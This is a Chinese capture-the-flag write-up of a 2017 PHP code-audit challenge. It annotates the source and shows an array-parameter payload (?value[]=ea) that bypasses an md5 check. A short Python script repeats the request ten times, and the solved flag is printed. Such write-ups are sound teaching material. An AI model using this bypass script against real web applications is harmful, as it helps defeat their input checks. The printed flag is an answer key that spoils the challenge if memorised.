首页 > 其他分享 >“百度杯”CTF比赛 2017 二月场-爆破-3

“百度杯”CTF比赛 2017 二月场-爆破-3

时间:2024-04-13 15:57:29浏览次数:25  
标签:__ 10 nums flag value CTF html 2017 百度

“百度杯”CTF比赛 2017 二月场

爆破-3

题目类型:web

题目描述:打开靶机,得到一段php代码,说明这是一道php代码审计类型的题:

 <?php 
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

解题方法:我们来审计一下这一段php代码:

<?php 
error_reporting(0); // 关闭错误报告,防止泄漏敏感信息
session_start(); // 启动会话,以便在页面之间共享数据
require('./flag.php'); // 导入 flag.php 文件,可能包含了一些敏感信息

// 如果会话中不存在 'nums' 键,则初始化为 0,同时记录时间和当前用户为 'ea'
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time(); // 记录当前时间
  $_SESSION['whoami'] = 'ea'; // 记录当前用户标识
}

// 如果距离会话开始的时间超过 120 秒,则销毁会话
if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value']; // 从用户请求中获取 'value' 参数
$str_rand = range('a', 'z'); // 创建包含字母 'a' 到 'z' 的数组
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)]; // 从数组中随机选择两个字母组合成字符串

// 如果用户输入的前两个字符与会话中的 'whoami' 相同,并且输入的值经过 md5 加密后的结果是0
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++; // 会话中记录次数加一
  $_SESSION['whoami'] = $str_rands; // 更新当前用户标识
  echo $str_rands; // 输出随机字符串
}

// 如果会话中记录的次数大于等于 10,则输出 flag
if($_SESSION['nums']>=10){
  echo $flag; // 输出 flag.php 中定义的 flag
}

show_source(__FILE__); // 显示当前 PHP 文件的源代码
?>

关键是在于这里:

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++; // 会话中记录次数加一
  $_SESSION['whoami'] = $str_rands; // 更新当前用户标识
  echo $str_rands; // 输出随机字符串

这里要MD5加密后的值为0,可以用数组来进行绕过,MD5对数组不能处理,这里我们用数组来传入当前的用户标识 ?value[]=ea

这是nums就会加一,whoami就会随机产生一个新的字符在最上边,每次传入随机产生的字符,nums就会增加一次,当nums==10的时候就会输出flag,这里可以手动每次输入并传入随机产生的字符,连续10就可以,它的回话时间限制有120秒,够进行手动输入

也可以编写python脚本:

import requests
url = 'http://eci-2zedizxwhsw2plkete27.cloudeci1.ichunqiu.com/'
session = requests.Session()
html = session.get(url+'?value[]=ea').text
for _ in range(10):
    html = session.get(url+'?value[]='+html[:2]).text
print(html)

得到flag:

flag{16604491-e2d1-4842-a21d-8dd961695290}

标签:__,10,nums,flag,value,CTF,html,2017,百度
From: https://www.cnblogs.com/xyweiwen/p/18132958

相关文章

  • CTFshow Reverse 逆向4 学习记录
     题目 分析过程 是一个无壳,64位的文件丢到IDA里面,找到main函数1int__cdecl__noreturnmain(intargc,constchar**argv,constchar**envp)2{3__int64v3;//rdx4char*v4;//[rsp+20h][rbp-18h]56qword_140004618=(__int64)malloc(1......
  • 百度APP原型设计
    一、实验题目:原型设计二、实验目的:掌握产品原型设计方法和相应工具使用。三、实验要求(1)对比分析墨刀、Axure、Mockplus等原型设计工具的各自的适用领域及优缺点(至少3条)。1.墨刀:适用领域:墨刀适用于快速创建简单的交互原型,尤其适合设计师、产品经理和开发人员等各个领域的用户......
  • 2024 NSSCTF 做题记录
    web[SWPUCTF2021新生赛]easy_sql我可能不知道怎么写参数,但是我会用sqlmap.python3sqlmap.py-u....--dumptestdb另外说一句,直接用--dump-all是很蠢的行为因为可能会dump到mysql的配置数据库,显然对拿到flag没什么帮助。trytouse--dbs.[SWPUCTF2021新生......
  • [转帖][译] 使用 Linux tracepoint、perf 和 eBPF 跟踪数据包 (2017)
    http://arthurchiao.art/blog/trace-packet-with-tracepoint-perf-ebpf-zh/ 译者序本文翻译自2017年的一篇英文博客 Tracingapacket’sjourneyusingLinuxtracepoints,perfandeBPF ,并添加了章节号以方便阅读。由于译者水平有限,本文不免存在遗漏或错误之处。如......
  • [题解] <NOIP2017> 时间复杂度
    [题解]NOIP2017时间复杂度题目描述小明正在学习一种新的编程语言A++,刚学会循环语句的他激动地写了好多程序并给出了他自己算出的时间复杂度,可他的编程老师实在不想一个一个检查小明的程序,于是你的机会来啦!下面请你编写程序来判断小明对他的每个程序给出的时间复杂度是否正......
  • 百度文库验证码识别
    一、前言百度出了如图所示的验证码,需要拖动滑块,与如图所示的曲线轨迹进行重合。经过不断研究,终于解决了这个问题。我把识别代码分享给大家。下面是使用selenium进行验证的,这样可以看到轨迹滑动的过程,如果需要使用js逆向的大神,可以自行研究,谢谢。运行下面代码会直接进入验证......
  • BUUCTF misc 刷题第一页
    你竟然赶我走1.下载后解压得到biubiu.jpg,拖入010editor打开,在结尾发现flag:二维码1.解压后得到一张二维码,用工具QRResearch打开,得到:2.尝试使用Stegsolve打开,然后Analyse->FileFormat,拖到最底下发现了zip文件格式:(PK头)3.由此可以想到使用binwalk分离png和zip文件:4.打开......
  • [SDOI2017] 硬币游戏
    [SDOI2017]硬币游戏还是因为感觉网上的写的不够清晰,所以来写一篇用\(P(i)\)表示第\(i\)个同学胜利的概率,\(s_i\)表示第\(i\)个同学猜的序列可以发现,第\(i\)个同学胜利当且仅当当前硬币序列\(T\)的后\(m\)位刚好为\(s_i\),且\(T\)除了最后\(m\)位出现过\(s_i\),其他任何位置都......
  • CTFshow-Web入门模块-爆破
    CTFshow-Web入门模块-爆破by故人叹、web21考察点:burpsuite使用、自定义迭代器使用题目提供了字典,要求登录并提示了爆破,使用burpsuite抓包并操作:(1)用户名一般为admin,密码随意输,抓包并发送给爆破模块。可以看到Basic后有一段base64编码,解码得到用户名:密码的格式,证明我们之......
  • XYctf happy_to_solve wp
    题目如下点击查看代码fromCrypto.Util.numberimport*importsympyfromsecretsimportflagdefget_happy_prime():p=getPrime(512)q=sympy.nextprime(p^((1<<512)-1))returnp,qm=bytes_to_long(flag)p,q=get_happy_prime()n=p*......